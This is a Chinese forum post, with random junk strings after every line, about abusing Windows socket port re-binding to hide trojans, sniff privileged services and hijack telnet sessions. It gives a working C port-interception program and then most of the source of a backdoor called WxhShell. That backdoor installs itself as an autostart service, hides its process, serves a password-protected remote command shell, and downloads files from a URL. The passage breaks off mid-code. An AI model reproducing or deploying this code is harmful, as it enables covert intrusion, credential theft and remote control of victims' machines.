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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: d; V  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); fg+Q7'*Vq  
h#'(UZ  
  saddr.sin_family = AF_INET; :Uj+iYE8Z8  
 :v8j3=  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); vR-rCve$P  
}4  5|  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :C_\.pA  
~z%K9YcyU  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _`*x}  
>jRz4%  
  这意味着什么?意味着可以进行如下的攻击: xG\&QE  
95[yGO>ZYz  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Vb|DNl@  
C3hnX2";  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) N-4LdC  
2*F["E  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 tWdj"n%  
v-2.OS<o  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  lm o>z'<  
!7P 1%/  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 FsTE.PT  
TOeJnk  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 -U'6fx) +  
w*uHB;?  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #ZeZs31  
W9t%:wF  
  #include #4Xe zj,g*  
  #include a>(LFpVk}  
  #include +\?#8U/k  
  #include    Z,! w.TYo  
  DWORD WINAPI ClientThread(LPVOID lpParam);   n,bZj<3t  
  int main() !!%vs 6  
  { =YE"6iU  
  WORD wVersionRequested; ;vc$;54K  
  DWORD ret; YFy5>*W  
  WSADATA wsaData; ''s]6Jjw  
  BOOL val; oJvF)d@gU  
  SOCKADDR_IN saddr; `7LN?- T  
  SOCKADDR_IN scaddr; v@&&5J|  
  int err; GCkc[]2p  
  SOCKET s; oIAP dn  
  SOCKET sc; O\q|b#q}/  
  int caddsize; F'|D  
  HANDLE mt; JLp.bxx  
  DWORD tid;   &JVe -.  
  wVersionRequested = MAKEWORD( 2, 2 ); 7ZI!$J|  
  err = WSAStartup( wVersionRequested, &wsaData ); W+Z] Y  
  if ( err != 0 ) { D"El6<3)h  
  printf("error!WSAStartup failed!\n"); bu1O<*  
  return -1; iL\<G} I  
  } V)^nVD)e  
  saddr.sin_family = AF_INET; 24}r;=U  
   LZqx6~]O  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 -e3m!h  
!rlN|HB  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); xwW[6Ah  
  saddr.sin_port = htons(23); HWi0m/J  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _8)9I?jH  
  { lBvQ?CJ<y  
  printf("error!socket failed!\n"); qh Rs5QXL  
  return -1; <VS\z(K  
  } O~.A}  
  val = TRUE; n9B1NM5 \  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 NmthvKhH   
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 3+;]dqZ  
  { ?_3K]i1IS  
  printf("error!setsockopt failed!\n"); f>g>7OsD]  
  return -1; >j{phZ  
  } Y.Na9&-(  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4E}]>  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Z)Nl\e& M  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 j)?I]j/  
f*04=R?w7>  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) S\ JV96  
  { 1tHTjEG4^3  
  ret=GetLastError(); }rz}>((ZHF  
  printf("error!bind failed!\n"); D:sQHJ. y  
  return -1; 6 :K~w<mMJ  
  } 'KMyaEh.u  
  listen(s,2); NYz{ [LM  
  while(1) {x40W0  
  { ^|5bK_Z&  
  caddsize = sizeof(scaddr); y,v*jE  
  //接受连接请求 ;]34l."85  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); BaIH7JLZ8  
  if(sc!=INVALID_SOCKET) :PuJF`k  
  { WUkx v*  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); id8a#&t]  
  if(mt==NULL) dU+28  
  { I:Wrwd  
  printf("Thread Creat Failed!\n"); W6_/FkO  
  break; @jAuSBy  
  } sqFMO+  
  } @{\q1J>  
  CloseHandle(mt);  ~,Ck  
  } B v /]>Z  
  closesocket(s); /xj^TyWM  
  WSACleanup(); 2JwR?<n{  
  return 0; c&z@HEzV7  
  }   'kPc`) \  
  DWORD WINAPI ClientThread(LPVOID lpParam) 73OFFKbsk  
  { 48nZ H=(Eh  
  SOCKET ss = (SOCKET)lpParam; N|Mzj|i.  
  SOCKET sc; {SVd='!V  
  unsigned char buf[4096]; ZgVYC4=Q-\  
  SOCKADDR_IN saddr; xH#R_  
  long num; :KGUO{_u  
  DWORD val; pwU l&hwte  
  DWORD ret; fT9$0:eO  
  //如果是隐藏端口应用的话,可以在此处加一些判断 yyb8l l?@a  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   p"EQ6_f  
  saddr.sin_family = AF_INET; *oqQ=#\  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); gTcLS|& H  
  saddr.sin_port = htons(23); {>'GE16x  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) w K0vKdi  
  { GY%lPp  
  printf("error!socket failed!\n"); 2'UWPZgE  
  return -1; 8%q:lI  
  } W;en7v;#I}  
  val = 100; B%QvFxZz  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %H Pwu &  
  { >J,Rx!fq3  
  ret = GetLastError(); {Hg.ctam  
  return -1; [Zc8tE2oN  
  } ~{lSc/SP|  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) IIcG+zwx  
  { C)66 ^l!x  
  ret = GetLastError(); Y@N-q   
  return -1; IGqg,OEAp  
  } 1\K%^<QY  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) PoTJ4z  
  { q9 !)YP+w  
  printf("error!socket connect failed!\n"); o|FjNL  
  closesocket(sc); I(!i"b9  
  closesocket(ss); 0<Q['l4Ar  
  return -1; %" kF i  
  } ~~,] b  
  while(1) 6jz6   
  { 3 VNYDY`>  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 oZm)@Vv;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~5S[Sl  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \~u7 k  
  num = recv(ss,buf,4096,0); `F-<P%k  
  if(num>0) !0i6:2nw  
  send(sc,buf,num,0); #pDWwnP[rt  
  else if(num==0) _D<=Yo  
  break; ((OQs.  
  num = recv(sc,buf,4096,0); !7)` g i  
  if(num>0) UqHk2h-  
  send(ss,buf,num,0); R]L$Ld< ij  
  else if(num==0) aTXmF1_n  
  break; &d}1) ?  
  } C]/]ot0%t  
  closesocket(ss); ^\o3V<  
  closesocket(sc); y~eQVnH5W  
  return 0 ; ktE~)G  
  } }.`no  
]/31@RT  
^!a4!DGVT  
========================================================== \piB*"ln  
~@Yiwp\"  
下边附上一个代码,,WXhSHELL H{yUKZH*  
$wnK"k%G  
========================================================== oW[];r  
 C=k]g  
#include "stdafx.h" l 1C'<+2j!  
pf&H !-M  
#include <stdio.h> K9z 1'k QH  
#include <string.h> R9 +0ZoS  
#include <windows.h> K;uO<{a)r  
#include <winsock2.h> vMD%.tk  
#include <winsvc.h> (*6kYkUK  
#include <urlmon.h> *yX5g,52-|  
ohLM9mc9  
#pragma comment (lib, "Ws2_32.lib") ML:Zm~A1U  
#pragma comment (lib, "urlmon.lib") >oD,wSYV~  
([g[\c,H  
#define MAX_USER   100 // 最大客户端连接数 '.{tE*  
#define BUF_SOCK   200 // sock buffer p"'knZ G  
#define KEY_BUFF   255 // 输入 buffer $%:=;1Jl  
/-FvC^Fj  
#define REBOOT     0   // 重启 #3 ~#`&  
#define SHUTDOWN   1   // 关机 d+m}Z>iQ1O  
P0 4Q_A  
#define DEF_PORT   5000 // 监听端口 W%&gvZre.  
'}$]V>/  
#define REG_LEN     16   // 注册表键长度 Yo-$Z-ud  
#define SVC_LEN     80   // NT服务名长度 EOj.Jrs~  
fpPB_P{Ua  
// 从dll定义API dQ.:xu}~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); J=l\t7w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jx=5E6(h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); z<I@SI^>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); BE$Wj;Q  
/s~(? =qYH  
// wxhshell配置信息 +<})`(8  
struct WSCFG { /l%+l@  
  int ws_port;         // 监听端口 E[=# Rw!*  
  char ws_passstr[REG_LEN]; // 口令 /z)H7s+  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7;8DKY q  
  char ws_regname[REG_LEN]; // 注册表键名 /:=,mWoO  
  char ws_svcname[REG_LEN]; // 服务名 (ah^</  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 px=k&|l  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xo GX&^=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8 *Y(wqH  
int ws_downexe;       // 下载执行标记, 1=yes 0=no j6&q6C X  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^D]y<@01  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "KHe6otmi_  
/EvnwYQy  
}; UCBx?9O/0  
)b=m|A GX  
// default Wxhshell configuration T/Bx3VWL  
struct WSCFG wscfg={DEF_PORT, 0l'"idra  
    "xuhuanlingzhe", Ly~s84k_po  
    1, .L=C7w1  
    "Wxhshell", Y$4dqn  
    "Wxhshell", !h.bD/? K  
            "WxhShell Service", &0Bs?oq_  
    "Wrsky Windows CmdShell Service", |h 3`z  
    "Please Input Your Password: ", JTS<n4<a  
  1, y**>l{!!  
  "http://www.wrsky.com/wxhshell.exe", pKzrdw-!  
  "Wxhshell.exe" +01bjM6F_1  
    }; '{F Od_uk%  
s$?u'}G3  
// 消息定义模块 SrT=XX,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; aSM S uX8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >U#j\2!Sg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; btDPP k'  
char *msg_ws_ext="\n\rExit."; _s~F/G`iT  
char *msg_ws_end="\n\rQuit."; A5 <T7~U  
char *msg_ws_boot="\n\rReboot..."; ApotRr$)  
char *msg_ws_poff="\n\rShutdown..."; hNL_ e3  
char *msg_ws_down="\n\rSave to "; eCy]ugsi%  
j=V2~ xA6  
char *msg_ws_err="\n\rErr!"; |n~Vpy  
char *msg_ws_ok="\n\rOK!"; &B@qb?UE1  
*<l9d  
char ExeFile[MAX_PATH]; fK1^fzV  
int nUser = 0; |W;EPQ+<  
HANDLE handles[MAX_USER]; EWp'zbWP  
int OsIsNt; Y6ORI  
jx-8%dxtZ  
SERVICE_STATUS       serviceStatus; e =4k|8G  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1g1gu=|Q  
?{KC@c*c  
// 函数声明 G}0fk]%\:  
int Install(void); i= s>a;*#  
int Uninstall(void); J%ue{PL7  
int DownloadFile(char *sURL, SOCKET wsh); F^}n7h=qk  
int Boot(int flag); hZDv5]V:0  
void HideProc(void); _^Lg}@t  
int GetOsVer(void); xyaU!E*  
int Wxhshell(SOCKET wsl); 5%%A2FrB.S  
void TalkWithClient(void *cs); D OGg=`XK1  
int CmdShell(SOCKET sock); ~8^)[n+)x  
int StartFromService(void); Oo`b#!L  
int StartWxhshell(LPSTR lpCmdLine); !|;w(/  
o](nK5?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :rX/I LAr  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -nKBSls  
'<KzWxuC  
// 数据结构和表定义 n+;PfQ|  
SERVICE_TABLE_ENTRY DispatchTable[] = jHWJpm(  
{ WA79(B  
{wscfg.ws_svcname, NTServiceMain}, `Ef &h V  
{NULL, NULL} gKay3}w  
}; m8ydX6~max  
H=k`7YN  
// 自我安装 ?.&?4*u  
int Install(void) KqT~MPl  
{ ne\N1`AU  
  char svExeFile[MAX_PATH]; ?FRQ!R  
  HKEY key; 2\1\Jn#q  
  strcpy(svExeFile,ExeFile); ~*Ir\wE  
%D:5 S?{  
// 如果是win9x系统,修改注册表设为自启动 >5!/&D.q  
if(!OsIsNt) { hhvP*a_J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c&T14!lfn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !saKAb}d7H  
  RegCloseKey(key); m%?b"kxL[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S.Fip _  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B(%bBhs  
  RegCloseKey(key); Fttny]  
  return 0; x uDn:  
    } sP NAG  
  } dLek4q `l  
} "UY.; P  
else { tF d^5A*  
Q,A`"e#:  
// 如果是NT以上系统,安装为系统服务 y[!4M+jj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B<Ynx_ 95  
if (schSCManager!=0) :4D#hOI  
{ XU#nqvS`.  
  SC_HANDLE schService = CreateService 7#R& OQ  
  ( Z0e+CEzq  
  schSCManager, m 5NF)eL  
  wscfg.ws_svcname, &sx|sLw)  
  wscfg.ws_svcdisp, ^Y:Q%?uB/  
  SERVICE_ALL_ACCESS, Px4 zI9;cB  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , m&Mvb[  
  SERVICE_AUTO_START, PHa#;6!5  
  SERVICE_ERROR_NORMAL, B&m?3w  
  svExeFile, &xqe8!FeA  
  NULL, xIo7f  
  NULL, EN%Xs578  
  NULL, Eu )7@  
  NULL, V6d*O`  
  NULL s geP`O%  
  ); G\H@lFh  
  if (schService!=0) vN7ihe[C  
  { ~5wCehSb  
  CloseServiceHandle(schService); Sg<''pUh  
  CloseServiceHandle(schSCManager); NC vwg  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); G<-)Kx  
  strcat(svExeFile,wscfg.ws_svcname); 9_ Qm_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S@7A)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^aZ Wu|p  
  RegCloseKey(key); $XI5fa4Tt  
  return 0;  j>s%q .  
    } C({L4O#?o  
  } r\[HR ^`  
  CloseServiceHandle(schSCManager); @/JGC%!  
} "MXd!  
} yHt63z8'  
@ z#k~  
return 1; &/\0_CoTR\  
} _'AIXez7q  
hBE}?J>  
// 自我卸载 ~9oS~fP?I  
int Uninstall(void) } 2)s%  
{ u3,b,p  
  HKEY key; HXdPKS4q  
J&a887  
if(!OsIsNt) { /p>"|z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { & ,&+/Sr11  
  RegDeleteValue(key,wscfg.ws_regname); }C#YR( ]  
  RegCloseKey(key); NE9e br K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o-O/MS   
  RegDeleteValue(key,wscfg.ws_regname); [1nI%/</>  
  RegCloseKey(key); 5Cy)#Z{  
  return 0; x\Sp~]o3C  
  } ']vX  
} m; ABHq#  
} Gcs+@7!b  
else { =,@SZsM*B  
+Kq>r|;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); c= a+7>  
if (schSCManager!=0) 1|gP :t}  
{ ;v0sM*x%V  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e('c 9 Y  
  if (schService!=0) .X2mEnh  
  { 7OWiG,  
  if(DeleteService(schService)!=0) { ao-C9|2>NU  
  CloseServiceHandle(schService); s\jLIrG8  
  CloseServiceHandle(schSCManager); |nt J+  
  return 0; x:2[E-  
  } XbH X,W$h  
  CloseServiceHandle(schService); d,QJf\fc"  
  } ZY/at/v  
  CloseServiceHandle(schSCManager); >Le mTr  
} ;%jt;Xv9  
} Q49|,ou[H  
kcYR:;y  
return 1; 5;^8wh(  
} u%h<5WNh<  
d;;=s=j  
// 从指定url下载文件 S&=B&23T  
int DownloadFile(char *sURL, SOCKET wsh) 2d>PN^x  
{ Ti)n(G9$  
  HRESULT hr; cn\_;TYiJ  
char seps[]= "/"; O.$<Bf9  
char *token; 'QV 4 =h`  
char *file; #* Hhe>  
char myURL[MAX_PATH]; ZbGyl}8ua  
char myFILE[MAX_PATH]; 8EE7mEmLH  
R #ZDB]2  
strcpy(myURL,sURL); SUVr&S6Nk  
  token=strtok(myURL,seps); #YNb&K n  
  while(token!=NULL) !.J~`Y'd_  
  { m:41zoV  
    file=token; {Y@[hoHtF  
  token=strtok(NULL,seps); JIQzP?+?  
  } k Z3tz?Du  
YW}/C wB  
GetCurrentDirectory(MAX_PATH,myFILE); -12v/an]L7  
strcat(myFILE, "\\"); d}=p-s.GA  
strcat(myFILE, file); 67g/(4&  
  send(wsh,myFILE,strlen(myFILE),0); g&bO8vR=  
send(wsh,"...",3,0); UiSc*_N"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @<PL  
  if(hr==S_OK) 2 g8PU$T  
return 0; >r*Zm2($MR  
else a@a1/ 3  
return 1; u<8Q[_E&  
m88~+o<G%  
} bk?\=4B:E  
b?^n'0  
// 系统电源模块 < 9MnQ*@  
int Boot(int flag) 4Klfnki  
{ gMvvDP!Wp  
  HANDLE hToken; <#Lw.;(U;k  
  TOKEN_PRIVILEGES tkp; Z~|J"2.  
^ UzF nW@a  
  if(OsIsNt) { 4TKi)0 #7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); eXd(R>Mx  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %;5hHRA  
    tkp.PrivilegeCount = 1; G#V22Wca8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; d5\1-d_uz  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?*@h]4+k'  
if(flag==REBOOT) { 5Z[ D(z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }B- A*TI<h  
  return 0; HA%ye"(y8  
} 8if"U xV(  
else { RFC;1+Jn  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fUXp)0O  
  return 0; ' 7A7HDJ  
} 39j d}]e  
  } f3>/6 C  
  else { $VA4% 9  
if(flag==REBOOT) { = I(s7=Liu  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rYJ ))@  
  return 0; *LRGfk+h  
} ie!4z34  
else { "!tB";n  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s]iOC6v  
  return 0; f#~Re:7.c  
} CA4-&O"  
} .;2!c'mT9  
iV&#5I  
return 1; a{+oN $  
} ?N ga  
o FLrSmY)E  
// win9x进程隐藏模块 OK\%cq/U  
void HideProc(void) !iVFzG @m  
{ ([Aq  
xgz87d/<:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Yg[IEy  
  if ( hKernel != NULL ) }gW/heUE  
  { _kHpM:;.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =]a@)6y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,[\(U!Z7:%  
    FreeLibrary(hKernel); \6hL W_q1  
  } 0EOX@;}  
F9\Ot^~  
return; {1aAm+  
} R3n&o%$*  
>U<nEnB$?  
// 获取操作系统版本 p2vBj.*J  
int GetOsVer(void) -ZP&zOsDr  
{ rcx;3Vne  
  OSVERSIONINFO winfo; j/D)UWkR  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `M ygDG+u  
  GetVersionEx(&winfo); wW8 6rB  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Db=>7@h3C  
  return 1; i4n b#  
  else }+ 2"?f|]  
  return 0; ,6O9#1A&i  
} <IyLLQ+v  
^-GX&ODa  
// 客户端句柄模块 NP`s[  
int Wxhshell(SOCKET wsl) cqY.^f.  
{ -]\E}Ti  
  SOCKET wsh; 9>3Ltnn0  
  struct sockaddr_in client; (D m"e`  
  DWORD myID; u)`|q_y+8  
`u~  
  while(nUser<MAX_USER) t;dQ~e20  
{ 5 ?~-Vv31s  
  int nSize=sizeof(client); =jIT"rk  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &8+6!TN7  
  if(wsh==INVALID_SOCKET) return 1; qTHg[sME  
urXb!e{l  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $&=;9="  
if(handles[nUser]==0) (1SO;8k\  
  closesocket(wsh); HwW[M[qA  
else on;sq8;  
  nUser++; x;FO|fH  
  } e4q k>Cw  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); C}= _8N  
RO$ @>vL  
  return 0; Da8$Is;n  
} p (xD/E  
B:- KZuO  
// 关闭 socket _RaVnMJKX4  
void CloseIt(SOCKET wsh) 3cfZ!E~^kc  
{ #4_O;]{'  
closesocket(wsh); 7 Mki?EG  
nUser--; k;fnC+Y$s  
ExitThread(0); $sc8)d\B  
} Rhv".epz  
|t65# 1  
// 客户端请求句柄 DAMpR3  
void TalkWithClient(void *cs) Iz?W tm }  
{ jO&f*rxN  
Tt<-<oyU.  
  SOCKET wsh=(SOCKET)cs; L\:YbS~]  
  char pwd[SVC_LEN]; m{lRFKx>s  
  char cmd[KEY_BUFF]; QVSsi j  
char chr[1]; [2QY  
int i,j; cB|Cy{%  
hDB`t $  
  while (nUser < MAX_USER) { yToT7 X7F7  
e1`)3-f  
if(wscfg.ws_passstr) { +%e%UF@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h2/dhp  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K^,&ub.L)  
  //ZeroMemory(pwd,KEY_BUFF); cu479VzPx:  
      i=0; Ql#W /x,e  
  while(i<SVC_LEN) { @}&,W N%  
uD ?I>7  
  // 设置超时 p9&gEW  
  fd_set FdRead; 3)C6OF>7  
  struct timeval TimeOut; G {pP}  
  FD_ZERO(&FdRead); kol,Qs  
  FD_SET(wsh,&FdRead); 'TK$ndy;7}  
  TimeOut.tv_sec=8; KM_)7?`  
  TimeOut.tv_usec=0; []=FZ`4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0i`v:Lq%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &v3D" J  
f#;ubfi"z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L_ Xn,  
  pwd=chr[0]; $LxG>db  
  if(chr[0]==0xd || chr[0]==0xa) { l${Hgn+  
  pwd=0; h=v[i!U-eY  
  break; [NCXn>Z  
  } ^^4K/XBve  
  i++; W;OYO  
    } Jm]]>K8.3V  
[.#p  
  // 如果是非法用户,关闭 socket f gK2.;>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {p#l!P/  
} d6t)gG*5  
H;TOPtt2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 33{;[/4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qXP1Q3  
7E!";HT  
while(1) { [Q7->Wo|S:  
k lP{yxU'n  
  ZeroMemory(cmd,KEY_BUFF); SmT+L,:D  
6:|!1Pg5  
      // 自动支持客户端 telnet标准   <i{m.p R>  
  j=0; _:ZFCDO  
  while(j<KEY_BUFF) { E !Oz|q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z9J =vzsHE  
  cmd[j]=chr[0]; ~zE 1'  
  if(chr[0]==0xa || chr[0]==0xd) { {UX"Epd);n  
  cmd[j]=0; F1?CqN M  
  break; Ks49$w<  
  } Ad}-I%Ie  
  j++; .^[fG59  
    } Jo7fxWO_g  
:c~9>GCE&  
  // 下载文件 PSP1>-7)w  
  if(strstr(cmd,"http://")) { fB;&n  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); wc6 E- rB  
  if(DownloadFile(cmd,wsh)) q7O,I`KaJ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0%h [0jGj  
  else K)Df}fVOc  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CU#L *kz  
  } oglXW8  
  else { Q-! i$#-  
"xe7Dl  
    switch(cmd[0]) { S 0R8'Y  
  {+@ms$z  
  // 帮助 di]$dl|Wi  
  case '?': { L?3VyBE  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l]a^"4L4`o  
    break; lF; ziF  
  } } D/+<  
  // 安装 Qag|nLoT  
  case 'i': { " jl1.Ah  
    if(Install())  aNOAu/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &K9VEMCEX  
    else $:%*gY4~76  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =gMaaGg p,  
    break; Qq`3S>  
    } o-\ok|,)#j  
  // 卸载 "?oo\op  
  case 'r': { ?dp -}3/G  
    if(Uninstall()) %-h7Z3YcN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R7E]*:0}  
    else XsAY4WTS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L"""\5Bn(  
    break; hr J$%U  
    } +L`V[;  
  // 显示 wxhshell 所在路径 B8bvp:Ho|  
  case 'p': { iyA*J CD  
    char svExeFile[MAX_PATH]; T$gkq>!j<E  
    strcpy(svExeFile,"\n\r"); KW&nDu t  
      strcat(svExeFile,ExeFile); M,b<B_$  
        send(wsh,svExeFile,strlen(svExeFile),0); M*g2VyZ  
    break; $x;tSJ)m~  
    } Nf=C?`L  
  // 重启 )x$!K[=  
  case 'b': { tpv?`(DDU  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); oS[W*\7'!  
    if(Boot(REBOOT)) [TRGIGtq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bv;I0i:_  
    else { |x1$b 7  
    closesocket(wsh); ggrI>vaw  
    ExitThread(0); jG+T.  
    } R19'| TJ  
    break; qJ\X~5{  
    } Z 7`5x  
  // 关机 8pX f T%]  
  case 'd': { fs wZM\@  
